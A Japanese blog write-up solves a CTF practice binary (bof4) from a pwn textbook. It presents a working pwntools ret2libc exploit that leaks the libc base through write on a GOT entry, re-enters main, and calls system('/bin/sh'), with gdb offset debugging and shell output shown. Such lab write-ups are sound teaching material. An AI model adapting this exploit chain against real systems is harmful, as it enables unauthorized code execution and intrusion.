ハリネズミ本 pwn編 最終問題 Full RELROの場合の解法
0. 雑
CTFを学ぶ上で言わずと知れたハリネズミ本.
pwn編は特に,最初は難しいと感じるものですが,問題演習をしていく内にだんだん理解できるようになってきました.
本編で扱っている問題ファイルの中から,今回は最終問題 (step5/aslr/bof4) の別解について紹介しようと思います.
1. 問題内容
$ file bof4 bof4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=00332e38ebe289735e8c18f44a7f7f2d3e4c45ea, not stripped $ ldd bof4 linux-gate.so.1 (0xf7f5d000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d4c000) /lib/ld-linux.so.2 (0xf7f5e000) $ checksec.sh --file bof4 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH bof4
※ただし,ASLRは有効
率直に言うと,バッファオーバーフローがあり,write
やread
関数がバイナリに含まれていてかつFULL RELROでないので,write
で__libc_start_main
のGOTアドレスリークからのlibc_base
リーク,read
でGOT Overwrite+"/bin/sh"
を入力でシェルを起動という感じです.正直ここは本質ではないので,詳しくは本を読んで下さい.
さて,今回はPartial RELROだったのでGOT Overwriteで解けましたがFULL RELROの場合はどうでしょう?GOTがREAD ONLYになっているので攻撃が失敗してしまいます.
2. 解法
本で紹介された解法では,main
関数を1回だけ実行する形にしていましたが,write
で__libc_start_main
のGOT
をリークした後でmain
関数に飛ばす事もできます.
そこで,libc_base
をリークした後main
に飛ばし,2回目のmain
関数のリターン時にsystem("/bin/sh")
を起動してシェルを奪う事を考えます.
3. エクスプロイト
3-1. libc base のリーク
動的リンクされているELFファイルにおいて,libc内にある関数のELF内のアドレスはlibc base
+ libc内のオフセット
という計算式で求まります.つまり,libc base
のアドレスが分かるとELF内のsystem
のアドレスや"/bin/sh"
のアドレスが分かるので嬉しいです.
まずは,バッファからリターンアドレスまでのオフセットを調べます.
gdb-pedaは入れておきましょう.以下のように調べると,51文字である事が分かります.
というわけで,取り敢えずlibc base
をリークする所までやってみます.
以下では,__libc_start_main
のGOT
アドレスにある値をwrite
でリークし,そこからlibc
内の__libc_start_main
のオフセットを引く事でlibc base
を特定しています.
GOTには,実際の関数のアドレスがどこかという情報が入っているので,これとlibc
のオフセットが分かっていればlibc base
の値が引き算で分かるという訳です.
エクスプロイトコードを書く時,pwntoolsは本当に便利なので,まだ入れてない場合は必ず入れておきましょう!!
from pwn import * elf=ELF("./bof4") libc=ELF("/lib/i386-linux-gnu/libc.so.6") p=process("./bof4") # 埋め草 payload=b"A"*51 # write(1,__libc_start_main's GOT address,4) payload+=p32(elf.plt['write']) payload+=p32(0x0804854d) #pop3 ret payload+=p32(1) payload+=p32(elf.got['__libc_start_main']) payload+=p32(4) # main関数に飛ばす payload+=p32(elf.symbols['main']) p.sendlineafter(b"Hello\n",payload) libc_start_main=u32(p.recv(4)) print(hex(libc_start_main)) libc_base=libc_start_main-libc.symbols['__libc_start_main'] print(hex(libc_base))
$ python3 exploit.py [*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './bof4': pid 444682 0xf7cf3df0 0xf7cd5000
libc_base
の下3桁が0なので,ちゃんと特定できている事が分かります.当たり前ですが,ASLRが有効なのでlibc_base
の値は毎回変わります.
3-2. シェルの起動
リークしたlibc_base
を使ってsystem("/bin/sh")
を呼び出し,シェルを起動しましょう.
上のコードに以下のコードを追加します.
# 埋め草 payload=b"A"*51 # system("/bin/sh") payload+=p32(libc_base+libc.symbols['system']) payload+=p32(0x08048315) #pop ret payload+=p32(libc_base+next(libc.search(b"/bin/sh"))) # exit(0) payload+=p32(libc_base+libc.symbols['exit']) payload+=b"AAAA" payload+=p32(0) p.sendlineafter(b"Hello\n",payload) p.interactive()
実行してみると...
$ python3 exploit.py [*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './bof4': pid 445018 0xf7ceadf0 0xf7ccc000 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Process './bof4' stopped with exit code -11 (SIGSEGV) (pid 445018) [*] Got EOF while sending in interactive
あれぇ!?シェルが起動できていません(途中に $ と表示されているのは,pwn-toolsの)
なぜでしょう?pwn-toolsにはgdbでアタッチする機能がついているので調べてみます.
2回目の方は51個では多かったようです.そこで,さっきの追加した
payload=b"A"*51
の部分を
payload=b"AAA%AAsAABAA$AAnAACAA-AA(AADA..."
に差し替え,gdb.attach
を追加してみます.( pattern_create
のやつ )
43文字のようです.1回目の51文字とは8文字差が出ましたが,何か意味があるのでしょうか?
8って2冪だし,16の半分だし何か訳がありそうですよね.まぁそれはいいとしてオフセットが判明したので最終的な攻撃コードは以下のようになります.
from pwn import * elf=ELF("./bof4") libc=ELF("/lib/i386-linux-gnu/libc.so.6") p=process("./bof4") # 埋め草 payload=b"A"*51 # write(1,__libc_start_main's GOT address,4) payload+=p32(elf.plt['write']) payload+=p32(0x0804854d) #pop3 ret payload+=p32(1) payload+=p32(elf.got['__libc_start_main']) payload+=p32(4) # mainに飛ばす payload+=p32(elf.symbols['main']) p.sendlineafter(b"Hello\n",payload) libc_start_main=u32(p.recv(4)) print(hex(libc_start_main)) libc_base=libc_start_main-libc.symbols['__libc_start_main'] print(hex(libc_base)) # 埋め草 payload=b"A"*43 # system("/bin/sh") payload+=p32(libc_base+libc.symbols['system']) payload+=p32(0x08048315) #pop ret payload+=p32(libc_base+next(libc.search(b"/bin/sh"))) # exit(0) payload+=p32(libc_base+libc.symbols['exit']) payload+=b"AAAA" payload+=p32(0) p.sendlineafter(b"Hello\n",payload) p.interactive()
実行してみると,ちゃんとシェルが起動できていることが分かります.
一応,最後にexit(0)
したので正常終了していますね.
※セキュリティ機構の表示は配布ファイルをそのまま使っているのでPartial RELRO
のままになっていますがRELROに触れるような事はしていないので大丈夫なはず.
$ python3 exploit.py [*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './bof4': pid 445735 0xf7cf1df0 0xf7cd3000 [*] Switching to interactive mode $ ls aslr.py bof4.txt exploit.py peda-session-bof4.txt bof4 bruteforce.py flag.txt peda-session-ls.txt bof4.c core leak.py socket $ exit [*] Got EOF while reading in interactive $ [*] Process './bof4' stopped with exit code 0 (pid 445735)
ポエム
やっぱりシェルが起動すると爽快感ありますね.Happy Hacking!